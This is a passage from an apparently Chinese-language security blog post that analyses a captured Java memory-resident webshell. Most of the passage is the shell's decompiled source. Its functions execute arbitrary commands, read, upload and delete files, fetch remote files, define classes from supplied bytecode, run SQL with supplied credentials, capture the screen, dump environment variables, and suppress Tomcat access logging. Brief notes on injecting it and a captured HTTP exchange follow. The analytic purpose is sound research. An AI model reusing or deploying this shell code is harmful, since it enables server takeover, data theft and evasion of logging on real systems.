StringBuffer var9 = (new StringBuffer(String.valueOf(var8.canRead() ? "R" : ""))).append(var8.canWrite() ? "W" : ""); try {
Class var10001 = class$5; if (var10001 == null) { try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$5 = var10001;
}

Method var10 = this.getMethodByClass(var10001, "canExecute", (Class[])null); if (var10 != null) {
Boolean var11 = (Boolean)var10.invoke(var8); if (var11) {
var9.append("X");
}
}
} catch (Throwable var13) {
}

String var17 = var9.toString();
var7.put("4", var17 != null &amp;&amp; var17.trim().length() != 0 ? var17 : "F");
} catch (Throwable var14) {
var7.put("errMsg", var14.getMessage());
}

var2.put(String.valueOf(var6), var7);
}

var2.put("count", String.valueOf(var5.length));
var2.put("currentDir", var3);
}
} else {
var2.put("errMsg", "dir does not exist");
}
} catch (Exception var15) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var15.getMessage());
var2.put("errMsg", var4.toString());
}
} else {
var2.put("errMsg", "No parameter dirName");
} return this.serialize(var2);
} public String listFileRoot() {
File[] var1 = File.listRoots();
String var2 = new String(); for(int var3 = 0; var3 &lt; var1.length; ++var3) {
var2 = var2 + var1[var3].getPath();
var2 = var2 + ";";
} return var2;
} public byte[] fileRemoteDown() {
String var1 = this.get("url");
String var2 = this.get("saveFile"); if (var1 != null &amp;&amp; var2 != null) {
FileOutputStream var3 = null; try {
InputStream var4 = (new URL(var1)).openStream();
var3 = new FileOutputStream(var2); byte[] var9 = new byte[5120]; int var6; while((var6 = var4.read(var9)) != -1) {
var3.write(var9, 0, var6);
}

var3.flush();
var3.close();
var4.close(); return "ok".getBytes();
} catch (Exception var8) { if (var3 != null) { try {
var3.close();
} catch (IOException var7) { return var7.getMessage().getBytes();
}
}

StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var8.getMessage()); return var5.toString().getBytes();
}
} else { return "url or saveFile is null".getBytes();
}
} public byte[] setFileAttr() {
String var1 = this.get("type");
String var2 = this.get("attr");
String var3 = this.get("fileName");
String var4 = "Null"; if (var1 != null &amp;&amp; var2 != null &amp;&amp; var3 != null) { try {
File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) {
Class var10001 = class$5; if (var10001 == null) { try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage());
} class$5 = var10001;
} if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) {
var5.setReadable(true);
} if (var2.indexOf("W") != -1) {
var5.setWritable(true);
} if (var2.indexOf("X") != -1) {
var5.setExecutable(true);
}

var4 = "ok";
} else {
var4 = "Java version is less than 1.6";
}
} else if ("fileTimeAttr".equals(var1)) {
Date var29 = new Date(0L);
StringBuffer var7 = new StringBuffer();
var7.append(var2); char[] var8 = new char[13 - var7.length()];
Arrays.fill(var8, '0');
var7.append(var8);
var29 = new Date(var29.getTime() + Long.parseLong(var7.toString()));
var5.setLastModified(var29.getTime());
var4 = "ok"; try {
Class var9 = Class.forName("java.nio.file.Paths");
Class var10 = Class.forName("java.nio.file.Path");
Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
Class var12 = Class.forName("java.nio.file.Files");
Class var13 = Class.forName("java.nio.file.attribute.FileTime");
Class var14 = Class.forName("[java.nio.file.LinkOption");
Class[] var10002 = new Class[2];
Class var10005 = class$3; if (var10005 == null) { try {
var10005 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage());
} class$3 = var10005;
}

var10002[0] = var10005;
var10005 = class$6; if (var10005 == null) { try {
var10005 = Class.forName("[Ljava.lang.String;");
} catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage());
} class$6 = var10005;
}

var10002[1] = var10005;
Method var15 = var9.getMethod("get", var10002);
Method var16 = var13.getMethod("fromMillis", Long.TYPE);
var10002 = new Class[]{var10, null, null};
var10005 = class$7; if (var10005 == null) { try {
var10005 = Class.forName("java.lang.Class");
} catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage());
} class$7 = var10005;
}

var10002[1] = var10005;
var10002[2] = var14;
Method var17 = var12.getMethod("getFileAttributeView", var10002);
Method var18 = var11.getMethod("setTimes", var13, var13, var13);
Object var19 = var15.invoke((Object)null, var3, new String[0]);
Object var20 = Array.newInstance(var14.getComponentType(), 0);
Object var21 = var17.invoke((Object)null, var19, var11, var20);
Object var22 = var16.invoke((Object)null, var29.getTime());
var18.invoke(var21, var22, var22, var22);
} catch (Throwable var26) {
}
} else {
var4 = "no ExcuteType";
}
} catch (Throwable var28) {
StringBuffer var6 = new StringBuffer();
var6.append("Exception errMsg:");
var6.append(var28.getMessage()); return var6.toString().getBytes();
}
} else {
var4 = "type or attr or fileName is empty";
} return var4.getBytes();
} public byte[] readFile() {
String var1 = this.get("fileName"); if (var1 != null) {
File var2 = new File(var1); try { if (var2.exists() &amp;&amp; var2.isFile()) { if (var2.length() &gt; 204800L) { return "The file is too large, please use the large file to download".getBytes();
} else { byte[] var3 = new byte[(int)var2.length()];
FileInputStream var4; if (var3.length &gt; 0) {
var4 = new FileInputStream(var2);
var3 = this.readInputStream(var4, var3.length);
var4.close();
} else {
var3 = new byte[204800];
var4 = new FileInputStream(var2); int var5 = var4.read(var3); if (var5 &gt; 0) {
var3 = new byte[var5];
System.arraycopy(var3, 0, var3, 0, var3.length);
}

var4.close();
} return var3;
}
} else { return "file does not exist".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] uploadFile() {
String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileValue"); if (var1 != null &amp;&amp; var2 != null) { try {
File var3 = new File(var1);
var3.createNewFile();
FileOutputStream var4 = new FileOutputStream(var3);
var4.write(var2);
var4.close(); return "ok".getBytes();
} catch (Exception var5) { return var5.getMessage().getBytes();
}
} else { return "No parameter fileName and fileValue".getBytes();
}
} public byte[] newFile() {
String var1 = this.get("fileName"); if (var1 != null) {
File var2 = new File(var1); try { return var2.createNewFile() ? "ok".getBytes() : "fail".getBytes();
} catch (Exception var5) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var5.getMessage()); return var4.toString().getBytes();
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] newDir() {
String var1 = this.get("dirName"); if (var1 != null) {
File var2 = new File(var1); try { return var2.mkdirs() ? "ok".getBytes() : "fail".getBytes();
} catch (Exception var5) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var5.getMessage()); return var4.toString().getBytes();
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] deleteFile() {
String var1 = this.get("fileName");
String var2 = "mem://"; if (var1 != null) { if (var1.startsWith(var2)) { this.session.remove(var1); return "ok".getBytes();
} else { try {
File var3 = new File(var1); this.deleteFiles(var3); return "ok".getBytes();
} catch (Exception var5) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var5.getMessage()); return var4.toString().getBytes();
}
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] moveFile() {
String var1 = this.get("srcFileName");
String var2 = this.get("destFileName"); if (var1 != null &amp;&amp; var2 != null) {
File var3 = new File(var1); try { if (var3.exists()) { return var3.renameTo(new File(var2)) ? "ok".getBytes() : "fail".getBytes();
} else { return "The target does not exist".getBytes();
}
} catch (Exception var6) {
StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var6.getMessage()); return var5.toString().getBytes();
}
} else { return "No parameter srcFileName,destFileName".getBytes();
}
} public byte[] copyFile() {
String var1 = this.get("srcFileName");
String var2 = this.get("destFileName"); if (var1 != null &amp;&amp; var2 != null) {
File var3 = new File(var1);
File var4 = new File(var2); try { if (var3.exists() &amp;&amp; var3.isFile()) {
FileInputStream var5 = new FileInputStream(var3);
FileOutputStream var6 = new FileOutputStream(var4); byte[] var7 = new byte[5120]; int var8; while((var8 = var5.read(var7)) &gt; -1) {
var6.write(var7, 0, var8);
}

var5.close();
var6.close(); return "ok".getBytes();
} else { return "The target does not exist or is not a file".getBytes();
}
} catch (Exception var9) { return var9.getMessage().getBytes();
}
} else { return "No parameter srcFileName,destFileName".getBytes();
}
} public byte[] include() { byte[] var1 = this.getByteArray("binCode");
String var2 = this.get("codeName"); if (var1 != null &amp;&amp; var2 != null) { try {
JacksonAnnotationIntrospector var3 = new JacksonAnnotationIntrospector(this.getClass().getClassLoader());
Class var4 = var3.defineClass(var1); this.session.put(var2, var4); return "ok".getBytes();
} catch (Exception var5) { return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes();
}
} else { return "No parameter binCode,codeName".getBytes();
}
} public byte[] execCommand() {
String var1 = this.get("argsCount"); if (var1 != null &amp;&amp; var1.length() &gt; 0) { int var2 = Integer.parseInt(var1);
String[] var3 = new String[var2]; for(int var4 = 0; var4 &lt; var3.length; ++var4) {
var3[var4] = this.get("arg-" + var4);
} try {
Process var11 = Runtime.getRuntime().exec(var3); if (var11 == null) { return "Unable to start process".getBytes();
} else {
InputStream var12 = var11.getInputStream();
InputStream var6 = var11.getErrorStream();
ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024); byte[] var8 = new byte[1042]; int var9; if (var12 != null) { while((var9 = var12.read(var8)) &gt; 0) {
var7.write(var8, 0, var9);
}
} if (var6 != null) { while((var9 = var6.read(var8)) &gt; 0) {
var7.write(var8, 0, var9);
}
} return var7.toByteArray();
}
} catch (Exception var10) {
StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var10.getMessage()); return var5.toString().getBytes();
}
} else { return "No parameter argsCount".getBytes();
}
} public byte[] getBasicsInfo() {
String var1 = ""; try {
Enumeration var2 = System.getProperties().keys();
var1 = var1 + "FileRoot : " + this.listFileRoot() + "n";
var1 = var1 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "n";
var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "n";
var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "n";

String var9; try {
var9 = System.getProperty("java.io.tmpdir"); char var4 = var9.charAt(var9.length() - 1); if (var4 != '\' &amp;&amp; var4 != '/') {
var9 = var9 + File.separator;
}

var1 = var1 + "TempDirectory : " + var9 + "n";
} catch (Exception var7) {
}

var1 = var1 + "RealFile : " + this.getRealPath() + "n"; try {
var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "n";
} catch (Exception var6) {
var1 = var1 + "OsInfo : " + var6.getMessage() + "n";
} for(var1 = var1 + "IPList : " + getLocalIPList() + "n"; var2.hasMoreElements(); var1 = var1 + var9 + " : " + System.getProperty(var9) + "n") {
var9 = (String)var2.nextElement();
}

Map var11 = this.getEnv();
String var10; if (var11 != null) { for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1 + var10 + " : " + var11.get(var10) + "n") {
var10 = (String)var5.next();
}
} return var1.getBytes();
} catch (Exception var8) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);
var3.append("Exception errMsg:");
var3.append(var8.getMessage()); return var3.toString().getBytes();
}
} public byte[] screen() { try {
Robot var1 = new Robot();
BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3)); byte[] var4 = var3.toByteArray();
var3.close(); return var4;
} catch (Throwable var5) {
StringBuffer var2 = new StringBuffer();
var2.append("Exception errMsg:");
var2.append(var5.getMessage()); return var2.toString().getBytes();
}
} public byte[] execSql() throws Exception {
String var1 = this.get("dbCharset");
String var2 = this.get("jdbcURL");
String var3 = this.get("dbDriver");
String var4 = this.get("dbUsername");
String var5 = this.get("dbPassword");
String var6 = this.get("execType"); if (var1 == null || var1.trim().length() &gt; 0) {
var1 = "UTF-8";
}

String var7 = new String(this.getByteArray("execSql"), var1);
HashMap var8 = new HashMap(); if (var4 != null &amp;&amp; var5 != null &amp;&amp; var6 != null &amp;&amp; var7 != null) { try { try { if (var3 != null) {
Class.forName(var3);
}
} catch (Throwable var30) {
} try {
Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
} catch (Throwable var29) {
} try {
Class.forName("oracle.jdbc.driver.OracleDriver");
} catch (Throwable var28) { try {
Class.forName("oracle.jdbc.OracleDriver");
} catch (Throwable var27) {
}
} try {
Class.forName("com.mysql.cj.jdbc.Driver");
} catch (Throwable var26) { try {
Class.forName("com.mysql.jdbc.Driver");
} catch (Throwable var25) {
}
} try {
Class.forName("org.postgresql.Driver");
} catch (Throwable var24) {
} if (var2 != null) { try {
Connection var9 = null; try {
var9 = getConnection(var2, var4, var5);
} catch (Exception var23) {
} if (var9 == null) {
var9 = DriverManager.getConnection(var2, var4, var5);
}

Statement var10 = var9.createStatement(); if (var6.equals("select")) {
ResultSet var11 = var10.executeQuery(var7);
ResultSetMetaData var12 = var11.getMetaData(); int var13 = var12.getColumnCount();
HashMap var14 = new HashMap(); for(int var15 = 0; var15 &lt; var13; ++var15) {
var14.put(String.valueOf(var15), var12.getColumnName(var15 + 1));
}

var14.put("count", String.valueOf(var13));
var8.put("column", var14);
HashMap var34 = new HashMap(); int var16 = 0; for(int var17 = 0; var11.next(); ++var17) {
HashMap var18 = new HashMap(); for(int var19 = 0; var19 &lt; var13; ++var19) {
Object var20 = var11.getObject(var19 + 1);
String var21 = null; if (var20 == null) {
var21 = "NULL";
} else {
Class var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var22) { throw new NoClassDefFoundError(var22.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var20)) {
var21 = this.base64Encode((byte[])var20);
} else {
var21 = var20.toString();
}
}

var18.put(String.valueOf(var19), var21);
}

++var16;
var34.put(String.valueOf(var17), var18);
}

var34.put("count", String.valueOf(var16));
var8.put("rows", var34);
var11.close();
var10.close();
var9.close();
} else { int var33 = var10.executeUpdate(var7);
var10.close();
var9.close();
var8.put("errMsg", "Query OK, " + var33 + " rows affected");
}
} catch (Exception var31) {
var8.put("errMsg", var31.getMessage());
}
} else {
var8.put("errMsg", "This database is not supported");
}
} catch (Exception var32) {
var8.put("errMsg", var32.getMessage());
}
} else {
var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql");
} return this.serialize(var8);
} public byte[] close() { try {
String var1 = this.sessionId();
String var2 = this.get("operation"); if (var1 != null) {
Map var7 = (Map)sessionMap.remove(var1);
var7.put("alive", Boolean.FALSE); return "ok".getBytes();
} else if (var2 != null &amp;&amp; "clearup".equals(var2)) {
Iterator var3 = sessionMap.values().iterator(); while(var3.hasNext()) {
Object var4 = var3.next();
Class var10000 = class$0; if (var10000 == null) { try {
var10000 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage());
} class$0 = var10000;
} if (var10000.isInstance(var4)) {
((Map)var4).put("alive", Boolean.FALSE);
}
}

sessionMap.clear(); return "ok".getBytes();
} else { return "fail".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
} public byte[] bigFileUpload() {
String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileContents");
String var3 = this.get("position");
String var4 = "mem://"; int var5 = var3 == null ? 0 : Integer.parseInt(var3);
Constructor var6 = null; try { try {
Class var10000 = class$8; if (var10000 == null) { try {
var10000 = Class.forName("java.io.RandomAccessFile");
} catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage());
} class$8 = var10000;
}

Class[] var10001 = new Class[2];
Class var10004 = class$3; if (var10004 == null) { try {
var10004 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage());
} class$3 = var10004;
}

var10001[0] = var10004;
var10004 = class$3; if (var10004 == null) { try {
var10004 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var9) { throw new NoClassDefFoundError(var9.getMessage());
} class$3 = var10004;
}

var10001[1] = var10004;
var6 = var10000.getConstructor(var10001);
} catch (NoSuchMethodException var12) {
var3 = null;
} if (var1.startsWith(var4)) { if (var5 == 0) { this.session.put(var1, new ByteArrayOutputStream());
}

ByteArrayOutputStream var7 = (ByteArrayOutputStream)this.session.get(var1);
var7.write(var2);
} else if (var3 == null) {
FileOutputStream var14 = new FileOutputStream(var1, true);
var14.write(var2);
var14.flush();
var14.close();
} else {
RandomAccessFile var15 = (RandomAccessFile)var6.newInstance(var1, "rw");
var15.seek((long)var5);
var15.write(var2);
var15.close();
} return "ok".getBytes();
} catch (Exception var13) {
StringBuffer var8 = new StringBuffer();
var8.append("Exception errMsg:");
var8.append(var13.getMessage()); return var8.toString().getBytes();
}
} public byte[] bigFileDownload() {
String var1 = this.get("fileName");
String var2 = this.get("mode");
String var3 = this.get("readByteNum");
String var4 = this.get("position");
String var5 = "mem://"; try { if ("fileSize".equals(var2)) { return String.valueOf((new File(var1)).length()).getBytes();
} else if ("read".equals(var2)) { int var6 = Integer.valueOf(var4); int var12 = Integer.valueOf(var3); byte[] var8 = new byte[var12];
Object var9 = null; if (var1.startsWith(var5)) {
var9 = (InputStream)this.session.get(var1);
} else {
var9 = new FileInputStream(var1);
}

((InputStream)var9).skip((long)var6); int var10 = ((InputStream)var9).read(var8);
((InputStream)var9).close(); return var10 == var8.length ? var8 : copyOf(var8, var10);
} else { return "no mode".getBytes();
}
} catch (Exception var11) {
StringBuffer var7 = new StringBuffer();
var7.append("Exception errMsg:");
var7.append(var11.getMessage()); return var7.toString().getBytes();
}
} public static byte[] copyOf(byte[] var0, int var1) { byte[] var2 = new byte[var1];
System.arraycopy(var0, 0, var2, 0, Math.min(var0.length, var1)); return var2;
} public Map getEnv() { try {
Class var10000 = class$9; if (var10000 == null) { try {
var10000 = Class.forName("java.lang.System");
} catch (ClassNotFoundException var1) { throw new NoClassDefFoundError(var1.getMessage());
} class$9 = var10000;
} return (Map)var10000.getMethod("getenv").invoke((Object)null);
} catch (Throwable var2) { return null;
}
} public static Connection getConnection(String var0, String var1, String var2) {
Connection var3 = null; try {
Class var10000 = class$10; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.DriverManager");
} catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage());
} class$10 = var10000;
}

Field[] var4 = var10000.getDeclaredFields();
Field var5 = null; for(int var6 = 0; var6 &lt; var4.length; ++var6) {
var5 = var4[var6]; if (var5.getName().indexOf("rivers") != -1) {
var10000 = class$11; if (var10000 == null) { try {
var10000 = Class.forName("java.util.List");
} catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage());
} class$11 = var10000;
} if (var10000.isAssignableFrom(var5.getType())) { break;
}
}

var5 = null;
} if (var5 != null) {
var5.setAccessible(true);
List var18 = (List)var5.get((Object)null);
Iterator var7 = var18.iterator(); while(var7.hasNext() &amp;&amp; var3 == null) { try {
Object var8 = var7.next();
Driver var9 = null;
var10000 = class$12; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$12 = var10000;
} if (!var10000.isAssignableFrom(var8.getClass())) {
Field[] var10 = var8.getClass().getDeclaredFields(); for(int var11 = 0; var11 &lt; var10.length; ++var11) {
var10000 = class$12; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$12 = var10000;
} if (var10000.isAssignableFrom(var10[var11].getType())) {
var10[var11].setAccessible(true);
var9 = (Driver)var10[var11].get(var8); break;
}
}
} if (var9 != null) {
Properties var19 = new Properties(); if (var1 != null) {
var19.put("user", var1);
} if (var2 != null) {
var19.put("password", var2);
}

var3 = var9.connect(var0, var19);
}
} catch (Exception var16) {
}
}
}
} catch (Exception var17) {
} return var3;
} public String sessionId() { byte[] var1 = this.getByteArray("sessionId"); return var1 != null ? new String(var1) : null;
} public static String getLocalIPList() {
ArrayList var0 = new ArrayList(); try {
Class var1 = Class.forName("java.net.NetworkInterface");
Method var2 = var1.getMethod("getNetworkInterfaces");
Method var3 = var1.getMethod("getInetAddresses");
Enumeration var4 = (Enumeration)var2.invoke((Object)null); while(var4.hasMoreElements()) {
Object var5 = var4.nextElement();
Enumeration var6 = (Enumeration)var3.invoke(var5); while(var6.hasMoreElements()) {
InetAddress var7 = (InetAddress)var6.nextElement(); if (var7 != null) {
String var8 = var7.getHostAddress();
var0.add(var8);
}
}
}
} catch (Throwable var9) {
}

Iterator var10 = var0.iterator();
StringBuffer var11 = new StringBuffer();
var11.append("["); while(var10.hasNext()) {
Object var12 = var10.next();
var11.append(var12.toString());
var11.append(",");
} if (var11.length() &gt; 1) {
var11.deleteCharAt(var11.length() - 1);
}

var11.append("]"); return var11.toString();
} public String getRealPath() {
String var1 = (new File("")).getAbsoluteFile() + "/"; if (this.servletRequest != null) { try {
Method var2 = this.getMethodByClass(this.servletRequest.getClass(), "getServletContext", new Class[0]);
Object var3 = var2.invoke(this.servletRequest, (Object[])null); if (var3 != null) {
Class var4 = var3.getClass();
Class[] var5 = new Class[1];
Class var10002 = class$3; if (var10002 == null) { try {
var10002 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var8) { throw new NoClassDefFoundError(var8.getMessage());
} class$3 = var10002;
}

var5[0] = var10002;
Method var6 = this.getMethodByClass(var4, "getRealPath", var5); if (var6 != null) {
Object var7 = var6.invoke(var3, "/"); return var7 != null ? var7.toString() : var1;
}
}
} catch (Throwable var9) {
}
} return var1;
} public void deleteFiles(File var1) throws Exception { if (var1.isDirectory()) {
File[] var2 = var1.listFiles(); for(int var3 = 0; var3 &lt; var2.length; ++var3) {
File var4 = var2[var3]; this.deleteFiles(var4);
}
}

var1.delete();
} Object invoke(Object var1, String var2, Object[] var3) { try {
ArrayList var4 = new ArrayList(); if (var3 != null) { for(int var5 = 0; var5 &lt; var3.length; ++var5) {
Object var6 = var3[var5]; if (var6 != null) {
var4.add(var6.getClass());
} else {
var4.add((Object)null);
}
}
}

Method var8 = this.getMethodByClass(var1.getClass(), var2, (Class[])var4.toArray(new Class[0])); return var8.invoke(var1, var3);
} catch (Exception var7) { return null;
}
} Method getMethodByClass(Class var1, String var2, Class[] var3) {
Method var4 = null; while(var1 != null) { try {
var4 = var1.getDeclaredMethod(var2, var3);
var1 = null;
} catch (Exception var5) {
var1 = var1.getSuperclass();
}
} return var4;
} public static Object getFieldValue(Object var0, String var1) throws Exception {
Field var2 = null; if (var0 instanceof Field) {
var2 = (Field)var0;
} else {
Class var3 = var0.getClass(); while(var3 != null) { try {
var2 = var3.getDeclaredField(var1);
var3 = null;
} catch (Exception var4) {
var3 = var3.getSuperclass();
}
}
}

var2.setAccessible(true); return var2.get(var0);
} private byte[] readInputStream(InputStream var1, int var2) { byte[] var3 = new byte[var2]; int var4 = 0; try { while((var4 += var1.read(var3, var4, var3.length - var4)) &lt; var3.length) {
}
} catch (IOException var5) {
} return var3;
} public static String getRandomString(int var0) {
String var1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random var2 = new Random();
StringBuffer var3 = new StringBuffer();
var3.append(var1.charAt(var2.nextInt(52)));
var1 = var1 + "0123456789"; for(int var4 = 0; var4 &lt; var0; ++var4) { int var5 = var2.nextInt(62);
var3.append(var1.charAt(var5));
} return var3.toString();
} private void noLog(Object var1) { try {
Method var2 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null);
Object var3 = var2.invoke(var1, (Object[])null);
Object var4 = getFieldValue(var3, "context");
Object var5 = getFieldValue(var4, "context");

ArrayList var6; for(var6 = new ArrayList(); var5 != null; var5 = this.invoke(var5, "getParent", (Object[])null)) {
var6.add(var5);
}

label84: for(int var7 = 0; var7 &lt; var6.size(); ++var7) { try {
Object var8 = this.invoke(var6.get(var7), "getPipeline", (Object[])null); if (var8 != null) {
Object var9 = this.invoke(var8, "getFirst", (Object[])null); while(true) { while(true) { if (var9 == null) { continue label84;
} if (this.getMethodByClass(var9.getClass(), "getCondition", (Class[])null) != null) {
Class var10001 = var9.getClass();
Class[] var10003 = new Class[1];
Class var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage());
} class$3 = var10006;
}

var10003[0] = var10006; if (this.getMethodByClass(var10001, "setCondition", var10003) != null) {
String var10 = (String)this.invoke((String)var9, "getCondition", new Object[0]);
var10 = var10 == null ? "FuckLog" : var10; this.invoke(var9, "setCondition", new Object[]{var10});
var10001 = var1.getClass();
var10003 = new Class[2];
var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$3 = var10006;
}

var10003[0] = var10006;
var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$3 = var10006;
}

var10003[1] = var10006;
Method var11 = this.getMethodByClass(var10001, "setAttribute", var10003);
var11.invoke(var10, var10);
var9 = this.invoke(var9, "getNext", (Object[])null); continue;
}
} if (Class.forName("org.apache.catalina.Valve", false, var4.getClass().getClassLoader()).isAssignableFrom(var9.getClass())) {
var9 = this.invoke(var9, "getNext", (Object[])null);
} else {
var9 = null;
}
}
}
}
} catch (Exception var15) {
}
}
} catch (Exception var16) {
}

} public static int bytesToInt(byte[] var0) { int var1 = var0[0] &amp; 255 | (var0[1] &amp; 255) &lt;&lt; 8 | (var0[2] &amp; 255) &lt;&lt; 16 | (var0[3] &amp; 255) &lt;&lt; 24; return var1;
} public static byte[] intToBytes(int var0) { byte[] var1 = new byte[]{(byte)(var0 &amp; 255), (byte)(var0 &gt;&gt; 8 &amp; 255), (byte)(var0 &gt;&gt; 16 &amp; 255), (byte)(var0 &gt;&gt; 24 &amp; 255)}; return var1;
} public String base64Encode(byte[] var1) { byte var2 = 0; int var3 = var1.length; byte[] var4 = new byte[4 * ((var1.length + 2) / 3)]; byte var5 = -1; boolean var6 = true; char[] var7 = toBase64; int var8 = var2; int var9 = (var3 - var2) / 3 * 3; int var10 = var2 + var9; if (var5 &gt; 0 &amp;&amp; var9 &gt; var5 / 4 * 3) {
var9 = var5 / 4 * 3;
} int var11; int var12; int var13; for(var11 = 0; var8 &lt; var10; var8 = var12) {
var12 = Math.min(var8 + var9, var10);
var13 = var8; int var15; for(int var14 = var11; var13 &lt; var12; var4[var14++] = (byte)var7[var15 &amp; 63]) {
var15 = (var1[var13++] &amp; 255) &lt;&lt; 16 | (var1[var13++] &amp; 255) &lt;&lt; 8 | var1[var13++] &amp; 255;
var4[var14++] = (byte)var7[var15 &gt;&gt;&gt; 18 &amp; 63];
var4[var14++] = (byte)var7[var15 &gt;&gt;&gt; 12 &amp; 63];
var4[var14++] = (byte)var7[var15 &gt;&gt;&gt; 6 &amp; 63];
}

var13 = (var12 - var8) / 3 * 4;
var11 += var13;
} if (var8 &lt; var3) {
var12 = var1[var8++] &amp; 255;
var4[var11++] = (byte)var7[var12 &gt;&gt; 2]; if (var8 == var3) {
var4[var11++] = (byte)var7[var12 &lt;&lt; 4 &amp; 63]; if (var6) {
var4[var11++] = 61;
var4[var11++] = 61;
}
} else {
var13 = var1[var8++] &amp; 255;
var4[var11++] = (byte)var7[var12 &lt;&lt; 4 &amp; 63 | var13 &gt;&gt; 4];
var4[var11++] = (byte)var7[var13 &lt;&lt; 2 &amp; 63]; if (var6) {
var4[var11++] = 61;
}
}
} return new String(var4);
}
}

我们将如上内存马打进去,并没有任何反应,

我们尝试切换tomcat进行解析

2.2 Tomcat 搭建

tomcat解析会报错,存在两个jar包缺失

从零开始的内存马分析——如何骑马反杀(一)

返回数据

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

我们此时发现,返回数据,没办法解密

